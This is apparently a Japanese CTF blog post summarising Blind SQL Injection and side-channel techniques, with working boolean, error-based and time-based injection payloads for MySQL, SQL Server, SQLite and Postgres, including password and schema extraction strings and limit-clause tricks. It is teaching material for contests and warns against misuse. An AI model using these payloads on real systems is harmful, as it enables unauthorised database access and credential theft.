はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるサイドチャネル攻撃まとめ(Blind SQL Injection, XSLeak)

この記事はCTFのWebセキュリティ Advent Calendar 2021の12日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

  • サイドチャネル攻撃
    • 「物理的な特性を外部から観察あるいは測定することで情報を取得すること」らしい(Wikipediaより)
    • 自分は間接的な情報を利用することで(正攻法ではない方法で)情報を得ようとすること全般を指して呼んでいるのだが、正しいだろうか?
  • ラクル攻撃
    • ラクル:神託器
    • 違いについてハッキリ理解できてない。サイドチャネル攻撃で使える情報を提供してくれる対象をオラクルと呼んでいたが、サイドチャネル攻撃とオラクル攻撃で分けられているので、ニュアンスが違う?この辺り誰か記事書いて説明して!

Blind SQL Injection

  • Blind SQL Injection | OWASP
    • SQL Injectionの一種で、画面上に結果が表示されていなくても、SQLの実行結果のyes/noによって情報を抜き取るもの。

たぶんlikeを使ったものが一番わかりやすい。

SELECT * FROM users WHERE pass = '[ユーザー入力部分]'

となっているときに' UNION SELECT * FROM users WHERE pass like 'a%と差し込むと、

SELECT * FROM users WHERE pass = '' UNION SELECT * FROM users WHERE pass like 'a%'

となる。こうすると、passwordがaから始めるならレコードが帰ってくることになる。
レコードがあればログイン成功、なければ失敗というシステムであれば、
パスワードがaから始まるならログイン成功
パスワードがaから始まらないならログイン失敗
というオラクルが作れたことになる。これを使って全探索すると、パスワードの全文を特定することができる。 このように実際に結果を取得できなくても、yes/noが判断できるならば情報を抜き出すことのできるテク。

  • いつ使える?
    • 基本的にはSQLiできるなら使える
  • 種類
    • Boolean-based Blind SQLi
      • 上の例で示したようなレスポンスではっきりyes/noが分かるようなもの
      • 色々な種類がある(ログインの成功失敗、HTTPレスポンスコードの違い、エラーの出る出ない、数の増減…)
    • Error-based Blind SQLi
      • 条件がtrueなら意図的にエラーが発生するようなSQL文を書くことで、エラーの発生有無でyes/noを判断する
    • Time-based Blind SQLi
    • Out-of-band
      • ここに書いてあるけど、よくわからない。たぶん応答じゃなくて、どっかにcurlするとかって話だと思う。
  • 参考

Error-based Blind SQL Injection

  • 条件分岐させる
    • IF構文を使う
      • 適当にWHEREの条件にでもif(見たい条件,エラー発生文,エラー未発生文)を書けばいい
      • ' or id = 'admin' and if({md} <= length(pw), (select 1 union select 2), 2) #
    • A or B ここ
      • AがtrueならBは評価されないので、Bにエラーを書いておけばtrueならエラーが出ないようにできる
      • A and Bで逆をしてもいい
      • ({md} <= length(pw) and (select id union select 2))
      • なぜかうまくいかなかったりする。
    • whereに条件を入れて、select内容にエラー発生原因を埋め込む ここ
      • (select exp(1783) where {md} <= length(pw))これをWhereの中にでも入れておく
      • exp(1783)はオーバーフローエラーを引き起こす
    • case when構文を使う
      • case when pw like '0%' then 1 else 9e307*2 endみたいに使う
      • if構文と違ってかっこがいらない
  • エラーを出すには
    • exp(1783)が短い。
    • Subquery returns more than 1 rowエラー
      • (select 1 union select 2) ここ
    • DOUBLE value is out of range in 'XXX'エラー

Time-based Blind SQL Injection

  • Error-based Blind SQL InjectionとSQL文は大差ない。if(条件,sleep(1),0)といった感じ。
    • これをwhereの1つにでも置けばいい。
  • xor(if(now()=sysdate(),sleep(10),0))or
  • MySQL
    • admin ' and (select*from(select(sleep(20)))a)--
    • admin' and IF(1=(SELECT 1 FROM users WHERE Length(pass) = 27),sleep(10),0) #
  • SQL Server
    • if 条件 waitfor delay '00:00:01' else waitfor delay '00:00:00'これをSQL文末尾に置いておけばいい
      • 条件には0 <= (select len(password) from Users where id='admin')のように改めて値は取ってくる必要がある
    • 使ったやつ
      • 'id':f"' or {md} <= (SELECT LENGTH(group_concat(sql)) FROM sqlite_master) --",
      • 'id':f"' or {md} <= (SELECT unicode(substr(group_concat(sql),{i+1},1)) FROM sqlite_master) --",
  • Postgres #query = "select current_database()" -> scpfoundation #query = "array_to_string( ARRAY( (select DISTINCT TABLE_SCHEMA from information_schema.columns) ),',' )" -> public,pg_catalog,information_schema #query = "array_to_string( ARRAY( (select DISTINCT TABLE_NAME from information_schema.columns where TABLE_SCHEMA='public') ),',' )" -> users,experiments #query = "array_to_string( ARRAY( (select DISTINCT COLUMN_NAME from information_schema.columns where TABLE_NAME='users') ),',' )" -> id,name,password,stap #query = "array_to_string( ARRAY( (select name from users) ),',' )" -> glenn,teddy,admin query = "array_to_string( ARRAY( (select password from users) ),',' )" -> 965182,e2ec2b31a377a として、以下で判定
    q = f"Gnomial' AND {md} <= (select length({query})) --"
    q = f"Gnomial' AND {md} <= (select ascii(substring({query},{i+1},1))) --"
  • MongoDB

テク

  • オススメの流れ
    1. lengthを使って攻撃対象の長さを調べる
    2. 各文字について二分探索で答えを見つける
  • 全探索ではなく二分探索による高速化
  • limit句にインジェクションするとき
    • limitの後ろにunionでテーブルを追加することはできないが、攻撃方法はある
    • ラクルとして利用する
      • limit=(CASE WHEN (SELECT ascii(substr(usename, x, 1)) FROM pg_user LIMIT 1) < 99 THEN 1 ELSE 0 END)
      • このようにすることでx文字目のasciiコードが99より小さいなら1要素でてきて、そうでないなら0要素というオラクルになる
    • offsetを併用する
      • limitの後ろはoffsetなら置ける
      • 1 limit ascii(substr((Select version()),x,1))
      • こうすると、x文字目をアスキーコードに変更した番目の要素が得られる
      • なるほど
    • ちなみに
      • substr(string, position, length)
        • positionは1-indexed
      • ascii(string|char) -> int
    • ラクルとして使用したときのソルバ SECCON beginners CTF 2020 writeup - La Vie en Lorse
  • マルチバイト文字やUnicodeを抜き取るとき
    • たまにいじわる問題でASCII文字じゃない文字を抜き取る場合がある
    • この場合はhex関数を噛ませて、' || id = 'admin' && {md} <= length(hex(pw)) #のようにして、hex表現で取ってくる
    • Unicode Converter - Decimal, text, URL, and unicode converter
      • このサイトで戻せば取得できる
  • information_schema.tablesテーブルではorder by table_typeをつけると先頭にユーザーテーブルが来るみたい
    • 注意としてtable_typeは一意ではないので、同じtable_type内での順番はリクエスト毎に不定になる
  • like文を使った賢い戦略(にぶたんの方が多分早いけど、これも捨てがたい)
    • Blind SQL Injection
    • _を使って文字長を特定する(これは必須ではない気がするけど)
    • %[一文字]%というのを候補の文字について行って使われているかを特定する。これによって探索空間を大幅に減らす(賢い!)
    • 先頭からa%みたいに探索していく

Blind SQLi 問題 CTF Writeups

XS-Leak Attack / XS-Search Attack

Blind Regular Expression Injection Attack / XS-Leaks with ReDoS

writeups